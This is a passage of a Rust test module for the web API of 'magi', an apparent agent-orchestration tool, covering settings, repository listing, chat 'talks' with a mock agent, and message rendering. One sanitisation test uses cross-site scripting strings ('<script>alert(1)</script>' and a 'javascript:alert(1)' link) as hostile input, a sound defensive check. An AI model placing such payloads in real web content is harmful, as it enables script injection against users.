14370        assert!(error.json()["error"]["message"].is_string());
14371        assert_eq!(error.json()["repositories"], default["repositories"]);
14372    }
14373
14374    #[tokio::test]
14375    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14376        let (_tmp, repo, machine) =
14377            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14378        let f = Fixture::with_repo_and_machine(repo, machine).await;
14379        let res = f.get("/api/settings").await;
14380        assert_eq!(res.status, 200, "{}", res.body);
14381        let v = res.json();
14382        assert!(v["error"].is_null(), "{v}");
14383        let role = |k: &str| {
14384            v["roles"]
14385                .as_array()
14386                .and_then(|r| r.iter().find(|x| x["key"] == k))
14387                .cloned()
14388                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14389        };
14390        assert_eq!(role("judges")["source"], "machine");
14391        assert_eq!(role("judges")["editable"], true);
14392        assert_eq!(role("implementers")["source"], "default");
14393        let adv = role("advisors");
14394        assert_eq!(adv["fallback"], "judges");
14395        assert!(
14396            adv["seats"]
14397                .as_array()
14398                .is_some_and(|s| s.iter().all(|x| x == "b")),
14399            "{adv}"
14400        );
14401        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14402        assert_eq!(v["agents"][0]["source"], "repo");
14403    }
14404
14405    #[tokio::test]
14406    async fn settings_get_reports_a_config_that_does_not_parse() {
14407        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14408        let f = Fixture::with_repo_and_machine(repo, machine).await;
14409        let res = f.get("/api/settings").await;
14410        assert_eq!(res.status, 200, "{}", res.body);
14411        let v = res.json();
14412        assert!(v["error"]["message"].is_string(), "{v}");
14413        assert!(
14414            v["error"]["path"]
14415                .as_str()
14416                .is_some_and(|p| p.ends_with("magi.toml")),
14417            "{v}"
14418        );
14419        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14420    }
14421
14422    #[tokio::test]
14423    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14424        let (_tmp, repo, machine) = settings_dirs(
14425            SETTINGS_AGENTS,
14426            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14427        );
14428        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14429        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14430        let rev = f.get("/api/settings").await.json()["revision"]
14431            .as_str()
14432            .expect("revision")
14433            .to_owned();
14434        let body = serde_json::json!({
14435            "revision": rev,
14436            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14437        })
14438        .to_string();
14439        let res = f.put("/api/settings/roles", &body).await;
14440        assert_eq!(res.status, 200, "{}", res.body);
14441        let text = std::fs::read_to_string(&machine).expect("machine");
14442        assert_eq!(
14443            text,
14444            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14445        );
14446        assert_eq!(
14447            std::fs::read(repo.join("magi.toml")).expect("read"),
14448            repo_before
14449        );
14450        let again = f.get("/api/settings").await.json();
14451        let judges = again["roles"]
14452            .as_array()
14453            .expect("roles")
14454            .iter()
14455            .find(|r| r["key"] == "judges")
14456            .expect("judges")
14457            .clone();
14458        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14459        // The old revision is now stale.
14460        let stale = f.put("/api/settings/roles", &body).await;
14461        assert_eq!(stale.status, 409, "{}", stale.body);
14462    }
14463
14464    #[tokio::test]
14465    async fn settings_counts_are_reported_and_saved() {
14466        let (_tmp, repo, machine) = settings_dirs(
14467            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14468            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14469        );
14470        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14471        let v = f.get("/api/settings").await.json();
14472        let count = |v: &serde_json::Value, k: &str| {
14473            v["roles"]
14474                .as_array()
14475                .and_then(|r| r.iter().find(|x| x["key"] == k))
14476                .map(|x| x["count"].clone())
14477                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14478        };
14479        let imp = count(&v, "implementers");
14480        assert_eq!(imp["value"], 2);
14481        assert_eq!(imp["source"], "machine");
14482        assert_eq!(imp["file_key"], "candidates");
14483        assert_eq!(imp["roster_len"], 2);
14484        assert_eq!(imp["backups"], 0);
14485        assert_eq!(count(&v, "judges")["source"], "default");
14486        assert_eq!(count(&v, "advisors")["min"], 0);
14487        assert_eq!(count(&v, "reviewers")["editable"], false);
14488        assert!(
14489            count(&v, "reviewers")["locked_reason"]
14490                .as_str()
14491                .is_some_and(|m| m.contains("graph.reviewers"))
14492        );
14493        assert!(count(&v, "fixer").is_null());
14494        let rev = v["revision"].as_str().expect("revision").to_owned();
14495        let body = serde_json::json!({
14496            "revision": rev,
14497            "roles": { "judges": ["b"] },
14498            "counts": { "implementers": 1, "advisors": 0 }
14499        })
14500        .to_string();
14501        let res = f.put("/api/settings/roles", &body).await;
14502        assert_eq!(res.status, 200, "{}", res.body);
14503        let text = std::fs::read_to_string(&machine).expect("machine");
14504        assert_eq!(
14505            text,
14506            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14507        );
14508        let after = f.get("/api/settings").await.json();
14509        assert_eq!(count(&after, "implementers")["value"], 1);
14510        assert_eq!(count(&after, "implementers")["backups"], 1);
14511        assert_eq!(count(&after, "advisors")["value"], 0);
14512        let before = std::fs::read_to_string(&machine).expect("machine");
14513        let rev = after["revision"].as_str().expect("revision").to_owned();
14514        for counts in [
14515            serde_json::json!({ "judges": 0 }),
14516            serde_json::json!({ "judges": "x" }),
14517            serde_json::json!({ "judges": 2.5 }),
14518            serde_json::json!({ "judges": -1 }),
14519            serde_json::json!({ "reviewers": 3 }),
14520            serde_json::json!({ "bogus": 3 }),
14521        ] {
14522            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14523            let res = f.put("/api/settings/roles", &body).await;
14524            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14525            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14526        }
14527    }
14528
14529    #[tokio::test]
14530    async fn settings_put_refuses_without_touching_the_file() {
14531        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14532        let (_tmp, repo, machine) = settings_dirs(
14533            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14534            Some(machine_text),
14535        );
14536        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14537        let rev = f.get("/api/settings").await.json()["revision"]
14538            .as_str()
14539            .expect("revision")
14540            .to_owned();
14541        for roles in [
14542            serde_json::json!({ "judges": ["nope"] }),
14543            serde_json::json!({ "reviewers": ["b"] }),
14544            serde_json::json!({ "bogus": ["a"] }),
14545        ] {
14546            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14547            let res = f.put("/api/settings/roles", &body).await;
14548            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14549            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14550            assert_eq!(
14551                std::fs::read_to_string(&machine).expect("machine"),
14552                machine_text
14553            );
14554        }
14555    }
14556
14557    #[tokio::test]
14558    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14559        let tmp = TempDir::new().expect("tempdir");
14560        let repo = tmp.path().join("repo");
14561        std::fs::create_dir_all(&repo).expect("repo dir");
14562        let root = tmp.path().join("root");
14563        make_checkout(&root, "github.com", "yukimemi", "magi");
14564        std::fs::write(
14565            repo.join("magi.toml"),
14566            format!(
14567                "[repos]\nroots = [{:?}]\n",
14568                root.to_string_lossy().into_owned()
14569            ),
14570        )
14571        .expect("write magi.toml");
14572
14573        let f = Fixture::with_repo(repo).await;
14574        let res = f.get("/api/repos").await;
14575        assert_eq!(res.status, 200, "{}", res.body);
14576        let list = res.json();
14577        let repos = list.as_array().expect("an array");
14578        assert_eq!(repos.len(), 1);
14579        assert_eq!(repos[0]["name"], "yukimemi/magi");
14580        assert!(
14581            repos[0]["path"]
14582                .as_str()
14583                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14584            "{list}"
14585        );
14586    }
14587
14588    #[tokio::test]
14589    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14590        let tmp = TempDir::new().expect("tempdir");
14591        let repo = tmp.path().join("repo");
14592        std::fs::create_dir_all(&repo).expect("repo dir");
14593        let root = tmp.path().join("root");
14594        make_checkout(&root, "github.com", "yukimemi", "magi");
14595        std::fs::write(
14596            repo.join("magi.toml"),
14597            format!(
14598                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14599                root.to_string_lossy().into_owned()
14600            ),
14601        )
14602        .expect("write magi.toml");
14603
14604        let f = Fixture::with_repo(repo).await;
14605        let first = f.get("/api/repos").await;
14606        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14607
14608        // A second checkout appears; within the TTL the cached answer must
14609        // not notice it.
14610        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14611        let second = f.get("/api/repos").await;
14612        assert_eq!(
14613            second.json().as_array().map(Vec::len),
14614            Some(1),
14615            "a fresh cache must not rescan inside the TTL"
14616        );
14617
14618        let refreshed = f.get("/api/repos?refresh=1").await;
14619        assert_eq!(
14620            refreshed.json().as_array().map(Vec::len),
14621            Some(2),
14622            "an explicit refresh must rescan even inside the TTL"
14623        );
14624    }
14625
14626    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14627    /// string, declared straight in a repository's own `magi.toml` rather
14628    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14629    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14630    /// this is safe to run over a real HTTP round trip.
14631    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14632
14633    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14634    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14635    /// even though it takes no turn, and `talk_say` invokes one.
14636    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14637        let tmp = TempDir::new().expect("tempdir");
14638        let repo = tmp.path().join("repo");
14639        std::fs::create_dir_all(&repo).expect("repo dir");
14640        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14641        let f = Fixture::with_repo(repo.clone()).await;
14642        (tmp, repo, f)
14643    }
14644
14645    #[tokio::test]
14646    async fn posting_a_talk_with_remembered_choices_is_soft() {
14647        let (_tmp, _repo, f) = talk_fixture().await;
14648
14649        let good = f
14650            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14651            .await;
14652        assert_eq!(good.status, 201, "{}", good.body);
14653        assert_eq!(good.json()["persona"], "rei");
14654
14655        // Wrong values and wrong types are dropped one by one, never a 4xx.
14656        let stale = f
14657            .post(
14658                "/api/talks",
14659                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14660            )
14661            .await;
14662        assert_eq!(stale.status, 201, "{}", stale.body);
14663        let v = stale.json();
14664        assert_eq!(v["implementers"], 1);
14665        assert_ne!(v["persona"], "nobody");
14666        let typed = f
14667            .post(
14668                "/api/talks",
14669                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14670            )
14671            .await;
14672        assert_eq!(typed.status, 201, "{}", typed.body);
14673
14674        // The strict `agent` field still refuses an unknown id.
14675        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14676        assert!(
14677            !strict.status.to_string().starts_with('2'),
14678            "{}",
14679            strict.body
14680        );
14681    }
14682
14683    #[tokio::test]
14684    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14685        let (_tmp, _repo, f) = talk_fixture().await;
14686
14687        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14688        // is the ordinary way a phone opens a talk.
14689        let opened = f.post("/api/talks", None).await;
14690        assert_eq!(opened.status, 201, "{}", opened.body);
14691        let body = opened.json();
14692        assert_eq!(body["status"], "open");
14693        assert_eq!(
14694            body["turns"].as_array().unwrap().len(),
14695            0,
14696            "opening takes no agent turn: there is nothing yet to answer"
14697        );
14698
14699        // An explicit empty object is the same request as none at all.
14700        let also_opened = f.post("/api/talks", Some("{}")).await;
14701        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14702
14703        let listed = f.get("/api/talks").await.json();
14704        assert_eq!(listed.as_array().unwrap().len(), 2);
14705    }
14706
14707    #[tokio::test]
14708    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14709        let tmp = TempDir::new().expect("tempdir");
14710        let repo = tmp.path().join("repo");
14711        std::fs::create_dir_all(&repo).expect("repo dir");
14712        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14713        std::fs::write(
14714            repo.join("magi.toml"),
14715            format!("{MOCK_AGENT_TOML}\n{second}"),
14716        )
14717        .expect("write magi.toml");
14718        let home = TempDir::new().expect("temp home");
14719        let talks = Talks::at(home.path().join("talks"));
14720        let ui = Arc::new(
14721            Ui::new(
14722                Queue::at(home.path().join("queue")),
14723                Questions::at(home.path().join("questions")),
14724                talks.clone(),
14725                home.path().join("runs"),
14726                home.path().to_path_buf(),
14727                repo.clone(),
14728            )
14729            .with_worktrees_root(home.path().join("wt")),
14730        );
14731        let cfg = config_for(&repo).await.expect("discover config");
14732        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14733        let id = talk.id.clone();
14734        let call = |agent: &str| {
14735            talk_agent(
14736                State(Arc::clone(&ui)),
14737                Path(id.clone()),
14738                Json(TalkAgent {
14739                    agent: agent.to_owned(),
14740                }),
14741            )
14742        };
14743
14744        let unknown = call("nobody").await.expect_err("unknown agent");
14745        assert_eq!(
14746            unknown.status,
14747            StatusCode::BAD_REQUEST,
14748            "{}",
14749            unknown.message
14750        );
14751
14752        {
14753            // Nothing refused so far took a claim, so the guard is free to take
14754            // and holding it is what makes the talk busy.
14755            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14756            let busy = call("second").await.expect_err("busy talk");
14757            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14758            assert!(
14759                busy.message.contains("a talk turn is running"),
14760                "{}",
14761                busy.message
14762            );
14763            drop(guard);
14764        }
14765        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14766
14767        let Json(view) = call("second").await.expect("switch");
14768        assert_eq!(view.talk.agent, "second");
14769        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14770        let saved = talks.get(&id).expect("reload");
14771        assert_eq!(saved.agent, "second");
14772        assert_eq!(saved.turns.len(), 1);
14773        assert!(!view.thinking);
14774        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14775        for agent in ["mock", "second"] {
14776            let Json(view) = call(agent).await.expect("immediate consecutive change");
14777            assert_eq!(view.talk.agent, agent);
14778            assert!(!view.thinking);
14779            assert!(!ui.is_thinking(&id));
14780        }
14781
14782        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14783            .await
14784            .expect("detail");
14785        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14786        assert_eq!(roster, ["mock", "second"]);
14787
14788        let mut closed = talks.get(&id).expect("reload");
14789        talk::close(&mut closed, &talks).expect("close");
14790        let refused = call("mock").await.expect_err("closed talk");
14791        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14792        assert!(
14793            refused.message.contains("takes no more turns"),
14794            "{}",
14795            refused.message
14796        );
14797    }
14798
14799    #[tokio::test]
14800    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14801        let tmp = TempDir::new().expect("tempdir");
14802        let repo = tmp.path().join("repo");
14803        std::fs::create_dir_all(&repo).expect("repo dir");
14804        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14805        let home = TempDir::new().expect("temp home");
14806        let talks = Talks::at(home.path().join("talks"));
14807        let ui = Arc::new(
14808            Ui::new(
14809                Queue::at(home.path().join("queue")),
14810                Questions::at(home.path().join("questions")),
14811                talks.clone(),
14812                home.path().join("runs"),
14813                home.path().to_path_buf(),
14814                repo.clone(),
14815            )
14816            .with_worktrees_root(home.path().join("wt")),
14817        );
14818        let cfg = config_for(&repo).await.expect("discover config");
14819        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14820        let id = talk.id.clone();
14821        let call = |n: u8| {
14822            talk_implementers(
14823                State(Arc::clone(&ui)),
14824                Path(id.clone()),
14825                Json(TalkImplementers { implementers: n }),
14826            )
14827        };
14828
14829        for bad in [0u8, 4] {
14830            let e = call(bad).await.expect_err("out of range");
14831            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14832        }
14833        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14834
14835        {
14836            // Nothing refused so far took a claim, so the guard is free to take
14837            // and holding it is what makes the talk busy.
14838            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14839            let busy = call(2).await.expect_err("busy talk");
14840            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14841            assert!(
14842                busy.message.contains("a talk turn is running"),
14843                "{}",
14844                busy.message
14845            );
14846            drop(guard);
14847        }
14848
14849        let Json(view) = call(3).await.expect("switch");
14850        assert_eq!(view.talk.implementers, 3);
14851        assert!(talks.get(&id).expect("reload").implementers_dirty);
14852        assert!(!view.thinking);
14853        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14854        for n in [1, 2, 3] {
14855            let Json(view) = call(n).await.expect("immediate consecutive change");
14856            assert_eq!(view.talk.implementers, n);
14857            assert!(!view.thinking);
14858            assert!(!ui.is_thinking(&id));
14859        }
14860
14861        let mut closed = talks.get(&id).expect("reload");
14862        talk::close(&mut closed, &talks).expect("close");
14863        let e = call(2).await.expect_err("closed talk");
14864        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14865        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14866    }
14867
14868    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14869    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14870        let tmp = TempDir::new().expect("tempdir");
14871        let repo = tmp.path().join("repo");
14872        std::fs::create_dir_all(&repo).expect("repo dir");
14873        std::fs::write(
14874            repo.join("magi.toml"),
14875            format!("{MOCK_AGENT_TOML}\n{extra}"),
14876        )
14877        .expect("write magi.toml");
14878        let home = TempDir::new().expect("temp home");
14879        let talks = Talks::at(home.path().join("talks"));
14880        let ui = Arc::new(
14881            Ui::new(
14882                Queue::at(home.path().join("queue")),
14883                Questions::at(home.path().join("questions")),
14884                talks.clone(),
14885                home.path().join("runs"),
14886                home.path().to_path_buf(),
14887                repo.clone(),
14888            )
14889            .with_worktrees_root(home.path().join("wt")),
14890        );
14891        let cfg = config_for(&repo).await.expect("discover config");
14892        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14893        (tmp, home, ui, talk.id, repo)
14894    }
14895
14896    #[tokio::test]
14897    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14898        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14899        let mut conversation = ui.talks.get(&id).unwrap();
14900        talk::record(
14901            &mut conversation,
14902            &ui.talks,
14903            "# Update on a task you filed\noperator words",
14904            vec![],
14905        )
14906        .unwrap();
14907        // Simulate an old operator record; headings do not prove authorship.
14908        conversation.turns[0].sender = None;
14909        conversation.turns[0].messages.clear();
14910        ui.talks.put(&mut conversation).unwrap();
14911        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14912        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14913        talk::drain(&mut conversation, &ui.talks).unwrap();
14914        talk::record_reply(
14915            &mut conversation,
14916            &ui.talks,
14917            "about that report",
14918            vec![],
14919            Some(talk::ReplyTarget {
14920                turn: 1,
14921                message: 1,
14922            }),
14923        )
14924        .unwrap();
14925        conversation.turns[2].messages[0]
14926            .reply
14927            .as_mut()
14928            .unwrap()
14929            .sender = None;
14930        conversation.turns.push(talk::Turn {
14931            sender: Some(talk::Sender::Persona),
14932            who: talk::Who::Agent,
14933            body: "magi: actual persona words".into(),
14934            at: Timestamp::now(),
14935            attachments: vec![],
14936            usage: None,
14937            breaks: None,
14938            messages: vec![],
14939            posted_by: None,
14940        });
14941        ui.talks.put(&mut conversation).unwrap();
14942        let view = TalkView::with_config(
14943            ui.talks.get(&id).unwrap(),
14944            false,
14945            None,
14946            &ui.home,
14947            &ui.references,
14948        );
14949        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14950        assert_eq!(
14951            view.talk.turns[1].messages[0].sender,
14952            Some(talk::Sender::Operator)
14953        );
14954        assert_eq!(
14955            view.talk.turns[1].messages[1].sender,
14956            Some(talk::Sender::Magi)
14957        );
14958        assert_eq!(
14959            view.talk.turns[2].messages[0]
14960                .reply
14961                .as_ref()
14962                .unwrap()
14963                .sender,
14964            Some(talk::Sender::Magi)
14965        );
14966        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14967        assert_eq!(view.turn_messages_md[0].len(), 1);
14968        assert!(view.turn_messages_md[0][0].is_none());
14969        assert!(view.turn_messages_md[1][0].is_none());
14970        assert!(view.turn_messages_md[1][1].is_some());
14971    }
14972
14973    #[tokio::test]
14974    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14975        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14976        let mut conversation = ui.talks.get(&id).unwrap();
14977        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14978        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14979        talk::queue_notice(
14980            &mut conversation,
14981            &ui.talks,
14982            &body,
14983            "watch:123",
14984            &|_| false,
14985            None,
14986            display.clone(),
14987        )
14988        .unwrap();
14989        assert!(
14990            !talk::queue_notice(
14991                &mut conversation,
14992                &ui.talks,
14993                &body,
14994                "watch:123",
14995                &|_| false,
14996                None,
14997                display.clone()
14998            )
14999            .unwrap()
15000        );
15001        let saved = ui.talks.get(&id).unwrap();
15002        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15003        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15004        assert!(
15005            view.talk.turns[0].messages[0].display.is_none(),
15006            "operator copy stays literal"
15007        );
15008        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15009        assert!(view.turn_messages_md[0][0].is_none());
15010        let queued_md = view.pending_messages_md[0].clone();
15011        assert_eq!(
15012            queued_md,
15013            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15014        );
15015        talk::drain(&mut conversation, &ui.talks).unwrap();
15016        talk::record_reply(
15017            &mut conversation,
15018            &ui.talks,
15019            "Explain",
15020            vec![],
15021            Some(talk::ReplyTarget {
15022                turn: 1,
15023                message: 0,
15024            }),
15025        )
15026        .unwrap();
15027        let mut saved = ui.talks.get(&id).unwrap();
15028        assert_eq!(saved.turns[1].messages[0].body, body);
15029        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15030        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15031        assert!(!reply.excerpt.contains("automatic report"));
15032        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15033        saved.turns[1].messages[0].display = None; // old MAGI send
15034        ui.talks.put(&mut saved).unwrap();
15035        let view = TalkView::with_config(
15036            ui.talks.get(&id).unwrap(),
15037            false,
15038            None,
15039            &ui.home,
15040            &ui.references,
15041        );
15042        assert_eq!(view.turn_messages_md[1][0], queued_md);
15043        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15044        assert!(
15045            !view.talk.turns[2].messages[0]
15046                .reply
15047                .as_ref()
15048                .unwrap()
15049                .excerpt
15050                .contains("automatic report")
15051        );
15052        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15053    }
15054
15055    #[tokio::test]
15056    async fn consultation_display_hides_directives_in_queue_and_history() {
15057        for node in [
15058            "implement",
15059            crate::land::APPROVAL_NODE,
15060            crate::github_text::ASK_NODE,
15061        ] {
15062            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15063            let mut question = Question::new(
15064                "run-123".into(),
15065                node.into(),
15066                "seat-1".into(),
15067                "Which backend?".into(),
15068                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15069                vec!["SQLite".into(), "Redis".into()],
15070            );
15071            ui.questions.put(&mut question).unwrap();
15072            let body = crate::prompt::chat_consult(&question);
15073            let mut conversation = ui.talks.get(&id).unwrap();
15074            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15075            assert!(
15076                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15077            );
15078            conversation = ui.talks.get(&id).unwrap();
15079            assert_eq!(conversation.pending_messages[0].body, body);
15080            assert!(body.contains("magi answer"));
15081            let mut legacy_pending = conversation.clone();
15082            legacy_pending.pending_messages[0].display = None;
15083            let legacy_view =
15084                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15085            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15086            assert!(legacy_md.contains("Question consultation"));
15087            assert!(!legacy_md.contains("magi answer"));
15088            let view =
15089                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15090            assert!(
15091                view.turn_messages_md[0][0].is_none(),
15092                "operator copy stays literal"
15093            );
15094            let queued_md = view.pending_messages_md[0].clone().unwrap();
15095            let rendered = serde_json::to_string(&queued_md).unwrap();
15096            for visible in [
15097                "Which backend?",
15098                "Context",
15099                "storage",
15100                "SQLite",
15101                "Redis",
15102                "<script>literal</script>",
15103            ] {
15104                assert!(rendered.contains(visible), "missing {visible}");
15105            }
15106            for directive in [
15107                "What to do",
15108                "magi answer",
15109                "Never answer it yourself",
15110                "Do not edit the repository",
15111            ] {
15112                assert!(!rendered.contains(directive), "exposed {directive}");
15113            }
15114            assert_eq!(
15115                view.talk.pending_messages[0].display,
15116                Some(crate::prompt::chat_consult_display(&question))
15117            );
15118            talk::drain(&mut conversation, &ui.talks).unwrap();
15119            let view =
15120                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15121            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15122            assert_eq!(conversation.turns[1].messages[0].body, body);
15123
15124            // Historical consultations lack a snapshot: show a safe placeholder
15125            // rather than parsing instructions or reconstructing mutable facts.
15126            conversation.turns[1].messages[0].display = None;
15127            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15128            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15129            assert!(legacy.contains("Question consultation"));
15130            assert!(!legacy.contains("magi answer"));
15131            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15132        }
15133    }
15134
15135    #[test]
15136    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15137        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15138        let (body, mut display) =
15139            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15140        display.facts = facts.into();
15141        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15142        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15143        let json = serde_json::to_string(&nodes).unwrap();
15144        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15145            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15146        }
15147        assert!(json.contains("<script>alert(1)</script>"));
15148        assert!(!json.contains("javascript:"));
15149        assert!(!json.contains("Tell the operator"));
15150        assert!(!json.contains("untrusted"));
15151        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15152        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15153        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15154        assert_eq!(
15155            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15156            md::to_nodes("# Status", &md::ImageBase::None),
15157        );
15158    }
15159
15160    #[tokio::test]
15161    async fn notification_display_recovers_exact_legacy_completion_references() {
15162        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15163        let mut conversation = ui.talks.get(&id).unwrap();
15164        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15165            id: "task-123",
15166            title: "Change",
15167            status: "done",
15168            reason: None,
15169            run: Some("run-123"),
15170            pr: None,
15171            summary: Some("Merge state unknown"),
15172        });
15173        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15174        conversation.turns[0].sender = None;
15175        conversation.turns[0].messages.clear();
15176        conversation.turns[0].breaks = None;
15177        conversation.pending = body.clone();
15178        conversation
15179            .completion_notices
15180            .push(crate::chat_notify::CompletionReference {
15181                task: "task-123".into(),
15182                run: Some("run-123".into()),
15183                notice: body.clone(),
15184            });
15185        ui.talks.put(&mut conversation).unwrap();
15186        let view = TalkView::with_config(
15187            ui.talks.get(&id).unwrap(),
15188            false,
15189            None,
15190            &ui.home,
15191            &ui.references,
15192        );
15193        assert_eq!(
15194            view.talk.turns[0].messages[0].display,
15195            Some(display.clone())
15196        );
15197        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15198        assert_eq!(
15199            view.talk.turns[0].messages[0].sender,
15200            Some(talk::Sender::Magi)
15201        );
15202        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15203        conversation.completion_notices[0]
15204            .notice
15205            .push_str("different");
